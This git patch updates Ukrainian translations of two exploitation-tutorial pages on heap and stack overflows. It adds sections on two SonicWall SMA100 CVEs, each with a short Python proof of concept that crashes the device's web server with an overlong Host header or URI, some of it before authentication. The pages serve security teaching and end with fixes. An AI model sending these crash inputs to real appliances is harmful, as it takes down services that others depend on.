From 8a6376e048bc0bd6aa9272793c2b8d5feeef3e26 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Jul 2025 06:14:40 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/libc-heap/heap-overflow.md', 'src/b --- .../libc-heap/heap-overflow.md | 50 +++++++++++++++---- .../stack-overflow/README.md | 41 ++++++++++++--- 2 files changed, 76 insertions(+), 15 deletions(-) diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 84060c819..7c9d9c4e6 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -6,36 +6,36 @@ Переповнення купи - це як [**переповнення стеку**](../stack-overflow/index.html), але в купі. В основному це означає, що деякий простір було зарезервовано в купі для зберігання деяких даних, і **збережені дані були більшими за зарезервований простір.** -У випадку переповнень стеку ми знаємо, що деякі регістри, такі як вказівник інструкцій або стековий фрейм, будуть відновлені зі стеку, і це може бути можливим для зловживання. У випадку переповнень купи **немає жодної чутливої інформації, що зберігається за замовчуванням** в купі, яка може бути переповнена. Однак це можуть бути чутливі дані або вказівники, тому **критичність** цієї вразливості **залежить** від **того, які дані можуть бути перезаписані** і як зловмисник може цим зловживатися. +У випадку переповнень стеку ми знаємо, що деякі регістри, такі як вказівник інструкцій або стековий фрейм, будуть відновлені зі стеку, і це може бути можливим для зловживання. У випадку переповнень купи **немає жодної чутливої інформації, що зберігається за замовчуванням** в частині купи, яка може бути переповнена. Однак це можуть бути чутливі дані або вказівники, тому **критичність** цієї вразливості **залежить** від **того, які дані можуть бути перезаписані** і як зловмисник може цим зловживатися. > [!TIP] > Щоб знайти зсуви переповнення, ви можете використовувати ті ж шаблони, що й у [**переповненнях стеку**](../stack-overflow/index.html#finding-stack-overflows-offsets). ### Stack Overflows vs Heap Overflows -У переповненнях стеку розташування та дані, які будуть присутні в стеку в момент, коли вразливість може бути активована, є досить надійними. Це пов'язано з тим, що стек є лінійним, завжди зростаючим у зіткненні пам'яті, у **конкретних місцях виконання програми стекова пам'ять зазвичай зберігає подібні дані** і має певну структуру з деякими вказівниками в кінці частини стеку, що використовується кожною функцією. +У переповненнях стеку розташування та дані, які будуть присутні в стеку в момент, коли вразливість може бути активована, є досить надійними. Це пов'язано з тим, що стек є лінійним, завжди збільшується в зіткненні пам'яті, у **конкретних місцях виконання програми стекова пам'ять зазвичай зберігає подібні дані** і має певну структуру з деякими вказівниками в кінці частини стеку, що використовується кожною функцією. -Однак у випадку переповнення купи використовувана пам'ять не є лінійною, а **використовувані шматки зазвичай знаходяться в окремих позиціях пам'яті** (не один біля одного) через **контейнери та зони**, які розділяють алокації за розміром, і через те, що **попередньо звільнена пам'ять використовується** перед алокацією нових шматків. Це **складно знати об'єкт, який буде зіткненням з вразливим** до переповнення купи. Тому, коли виявляється переповнення купи, потрібно знайти **надійний спосіб зробити так, щоб бажаний об'єкт був наступним у пам'яті** після того, що може бути переповнене. +Однак у випадку переповнення купи використана пам'ять не є лінійною, а **використані частини зазвичай знаходяться в окремих позиціях пам'яті** (не одна біля одної) через **контейнери та зони**, які розділяють алокації за розміром, і через те, що **попередньо звільнена пам'ять використовується** перед алокацією нових частин. Це **ускладнює визначення об'єкта, який буде зіткненням з вразливим** до переповнення купи. Тому, коли виявляється переповнення купи, потрібно знайти **надійний спосіб зробити так, щоб бажаний об'єкт був наступним у пам'яті** після того, що може бути переповнене. -Одна з технік, що використовуються для цього, - це **Heap Grooming**, яка використовується, наприклад, [**в цьому пості**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). У пості пояснюється, як у ядрі iOS, коли зона вичерпується пам'яттю для зберігання шматків пам'яті, вона розширюється на сторінку ядра, і ця сторінка ділиться на шматки очікуваних розмірів, які будуть використовуватися в порядку (до версії iOS 9.2, потім ці шматки використовуються випадковим чином, щоб ускладнити експлуатацію цих атак). +Одна з технік, що використовуються для цього, - це **Heap Grooming**, яка використовується, наприклад, [**в цьому пості**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). У пості пояснюється, як у ядрі iOS, коли зона вичерпується пам'яттю для зберігання частин пам'яті, вона розширюється на сторінку ядра, і ця сторінка ділиться на частини очікуваних розмірів, які будуть використовуватися в порядку (до версії iOS 9.2, потім ці частини використовуються випадковим чином, щоб ускладнити експлуатацію цих атак). -Отже, у попередньому пості, де відбувається переповнення купи, щоб змусити переповнений об'єкт зіткнутися з об'єктом жертви, кілька **`kallocs` примушуються кількома потоками, щоб спробувати забезпечити заповненість усіх вільних шматків і створити нову сторінку**. +Отже, у попередньому пості, де відбувається переповнення купи, щоб примусити переповнений об'єкт зіткнутися з об'єктом жертви, кілька **`kallocs` примушуються кількома потоками, щоб спробувати забезпечити заповненість усіх вільних частин і створення нової сторінки**. Щоб примусити це заповнення об'єктами певного розміру, **алокація поза лінією, пов'язана з iOS mach port**, є ідеальним кандидатом. Шляхом формування розміру повідомлення можна точно вказати розмір алокації `kalloc`, і коли відповідний mach port знищується, відповідна алокація буде негайно звільнена назад до `kfree`. -Тоді деякі з цих заповнювачів можуть бути **звільнені**. **Список вільних `kalloc.4096` звільняє елементи в порядку останній прийшов - перший пішов**, що в основному означає, що якщо деякі заповнювачі звільнені, і експлойт намагається алокувати кілька об'єктів жертви, намагаючись алокувати об'єкт, вразливий до переповнення, ймовірно, що цей об'єкт буде слідувати за об'єктом жертви. +Тоді деякі з цих заповнювачів можуть бути **звільнені**. **Список вільних `kalloc.4096` звільняє елементи в порядку останній прийшов - перший вийшов**, що в основному означає, що якщо деякі заповнювачі звільнені, а експлуатація намагається алокувати кілька об'єктів жертви, намагаючись алокувати об'єкт, вразливий до переповнення, ймовірно, що цей об'єкт буде слідувати за об'єктом жертви. ### Example libc -[**На цій сторінці**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) можна знайти базову емуляцію переповнення купи, яка показує, як перезаписуючи біт prev in use наступного шматка та позицію prev size, можна **консолідувати використаний шматок** (змушуючи його думати, що він не використовується) і **потім знову алокувати його**, маючи можливість перезаписати дані, які використовуються в іншому вказівнику. +[**На цій сторінці**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) можна знайти базову емуляцію переповнення купи, яка показує, як перезаписуючи біт prev in use наступної частини та позицію prev size, можна **консолідувати використану частину** (зробивши її такою, що вона не використовується) і **потім знову алокувати її**, маючи можливість перезаписати дані, які використовуються в іншому вказівнику. Ще один приклад з [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) показує дуже базовий приклад CTF, де **переповнення купи** може бути використано для виклику функції переможця, щоб **отримати прапор**. -У прикладі [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) можна побачити, як зловживаючи переповненням буфера, можна **перезаписати в сусідньому шматку адресу**, куди **будуть записані довільні дані від користувача**. +У прикладі [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) можна побачити, як зловживаючи переповненням буфера, можна **перезаписати в сусідній частині адресу**, куди **будуть записані довільні дані від користувача**. ### Example ARM64 -На сторінці [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) ви можете знайти приклад переповнення купи, де команда, яка буде виконана, зберігається в наступному шматку від переповненого шматка. Таким чином, можна змінити виконувану команду, перезаписавши її простим експлойтом, таким як: +На сторінці [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) ви можете знайти приклад переповнення купи, де команда, яка буде виконана, зберігається в наступній частині від переповненої частини. Таким чином, можна змінити виконувану команду, перезаписавши її простим експлойтом, таким як: ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` @@ -45,4 +45,36 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt - Ми використовуємо вразливість цілочисельного переповнення, щоб отримати переповнення купи. - Ми корумпуємо вказівники на функцію всередині `struct` переповненого блоку, щоб встановити функцію, таку як `system`, і отримати виконання коду. +### Приклад з реального світу: CVE-2025-40597 – Неправильне використання `__sprintf_chk` + +У прошивці SonicWall SMA100 версії 10.2.1.15 модуль зворотного проксі `mod_httprp.so` виділяє **0x80-байтовий** блок купи, а потім конкатенує кілька рядків у нього за допомогою `__sprintf_chk`: +```c +char *buf = calloc(0x80, 1); +/* … */ +__sprintf_chk(buf, /* destination (0x80-byte chunk) */ +-1, /* <-- size argument !!! */ +0, /* flags */ +"%s%s%s%s", /* format */ +"/", "https://", path, host); +``` +`__sprintf_chk` є частиною **_FORTIFY_SOURCE**. Коли він отримує **позитивний** параметр `size`, він перевіряє, що отриманий рядок поміщається в буфер призначення. Передаючи **`-1` (0xFFFFFFFFFFFFFFFF)**, розробники фактично **відключили перевірку меж**, перетворивши укріплений виклик назад у класичний, небезпечний `sprintf`. + +Отже, надання надто довгого **`Host:`** заголовка дозволяє зловмиснику **переповнити 0x80-байтовий шматок і знищити метадані наступного шматка купи** (tcache / fast-bin / small-bin в залежності від аллокатора). Збій можна відтворити за допомогою: +```python +import requests, warnings +warnings.filterwarnings('ignore') +requests.get( +'https://TARGET/__api__/', +headers={'Host': 'A'*750}, +verify=False +) +``` +Практична експлуатація вимагатиме **heap grooming** для розміщення контрольованого об'єкта безпосередньо після вразливого блоку, але корінна причина підкреслює два важливі висновки: + +1. **_FORTIFY_SOURCE не є панацеєю** – неправильне використання може знищити захист. +2. Завжди передавайте **правильний розмір буфера** до сімейства `_chk` (або, ще краще, використовуйте `snprintf`). + +## References +* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 525ee342c..a3ff72247 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,13 +4,13 @@ ## Що таке Stack Overflow -A **stack overflow** - це вразливість, яка виникає, коли програма записує більше даних у стек, ніж йому виділено. Ці надмірні дані **перезапишуть сусідній простір пам'яті**, що призведе до пошкодження дійсних даних, порушення контролю потоку виконання та потенційного виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж на вхідні дані. +**Stack overflow** - це вразливість, яка виникає, коли програма записує більше даних у стек, ніж йому виділено. Ці надмірні дані **перезаписують сусідній простір пам'яті**, що призводить до пошкодження дійсних даних, порушення контролю потоку виконання та потенційного виконання шкідливого коду. Ця проблема часто виникає через використання небезпечних функцій, які не виконують перевірку меж на вхідних даних. Основна проблема цього перезапису полягає в тому, що **збережений вказівник інструкцій (EIP/RIP)** та **збережений базовий вказівник (EBP/RBP)** для повернення до попередньої функції **зберігаються в стеці**. Тому зловмисник зможе перезаписати їх і **контролювати потік виконання програми**. -Вразливість зазвичай виникає, оскільки функція **копіює в стек більше байтів, ніж виділено для неї**, таким чином, здатна перезаписати інші частини стека. +Вразливість зазвичай виникає, оскільки функція **копіює в стек більше байтів, ніж виділено для неї**, тим самим здатна перезаписати інші частини стека. -Деякі загальні функції, вразливі до цього, це: **`strcpy`, `strcat`, `sprintf`, `gets`**... Також функції, такі як **`fgets`**, **`read` & `memcpy`**, які приймають **аргумент довжини**, можуть бути використані в уразливий спосіб, якщо вказана довжина перевищує виділену. +Деякі загальні функції, вразливі до цього, це: **`strcpy`, `strcat`, `sprintf`, `gets`**... Також функції, такі як **`fgets`**, **`read`** та **`memcpy`**, які приймають **аргумент довжини**, можуть бути використані в уразливий спосіб, якщо вказана довжина перевищує виділену. Наприклад, наступні функції можуть бути вразливими: ```c @@ -48,16 +48,16 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## Експлуатація переповнень стеку +## Використання переповнень стеку Під час переповнення (якщо розмір переповнення достатньо великий) ви зможете **перезаписати** значення локальних змінних всередині стеку, поки не досягнете збереженого **EBP/RBP та EIP/RIP (або навіть більше)**.\ Найпоширеніший спосіб зловживання цим типом вразливості - це **модифікація адреси повернення**, щоб, коли функція закінчується, **управління буде перенаправлено туди, куди вказав користувач** в цьому вказівнику. -Однак у інших сценаріях просто **перезапис деяких значень змінних у стеку** може бути достатньо для експлуатації (як у простих CTF викликах). +Однак в інших сценаріях просто **перезапис деяких значень змінних у стеку** може бути достатньо для експлуатації (як у простих CTF викликах). ### Ret2win -У цьому типі CTF викликів є **функція** **всередині** бінарного файлу, яка **ніколи не викликається** і яку **вам потрібно викликати, щоб виграти**. Для цих викликів вам просто потрібно знайти **зсув для перезапису адреси повернення** та **знайти адресу функції**, яку потрібно викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) буде вимкнено), щоб, коли вразлива функція повертається, прихована функція буде викликана: +У цьому типі CTF викликів є **функція** **всередині** бінарного файлу, яка **ніколи не викликається** і яку **вам потрібно викликати, щоб виграти**. Для цих викликів вам просто потрібно знайти **зсув для перезапису адреси повернення** і **знайти адресу функції**, яку потрібно викликати (зазвичай [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) буде вимкнено), щоб, коли вразлива функція повертається, прихована функція буде викликана: {{#ref}} ret2win/ @@ -95,4 +95,33 @@ stack-shellcode/ ../common-binary-protections-and-bypasses/ {{#endref}} +### Приклад з реального світу: CVE-2025-40596 (SonicWall SMA100) + +Добра демонстрація того, чому **`sscanf` ніколи не слід довіряти для парсингу ненадійного вводу**, з'явилася в 2025 році в SSL-VPN пристрої SonicWall SMA100. +Вразлива рутина всередині `/usr/src/EasyAccess/bin/httpd` намагається витягти версію та кінцеву точку з будь-якого URI, який починається з `/__api__/`: +```c +char version[3]; +char endpoint[0x800] = {0}; +/* simplified proto-type */ +sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); +``` +1. Перше перетворення (`%2s`) безпечно зберігає **два** байти в `version` (наприклад, `"v1"`). +2. Друге перетворення (`%s`) **не має специфікатора довжини**, тому `sscanf` буде копіювати **до першого байта NUL**. +3. Оскільки `endpoint` знаходиться на **стеку** і має **0x800 байт**, надання шляху довше ніж 0x800 байт пошкоджує все, що знаходиться після буфера ‑ включаючи **стековий канар** і **збережену адресу повернення**. + +Однорядковий доказ концепції достатній, щоб викликати збій **до аутентифікації**: +```python +import requests, warnings +warnings.filterwarnings('ignore') +url = "https://TARGET/__api__/v1/" + "A"*3000 +requests.get(url, verify=False) +``` +Навіть якщо стекові канарки переривають процес, зловмисник все ще отримує **Denial-of-Service** примітив (і, з додатковими витоками інформації, можливо, виконання коду). Урок простий: + +* Завжди вказуйте **максимальну ширину поля** (наприклад, `%511s`). +* Віддавайте перевагу більш безпечним альтернативам, таким як `snprintf`/`strncpy_s`. + +## References +* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) + {{#include ../../banners/hacktricks-training.md}}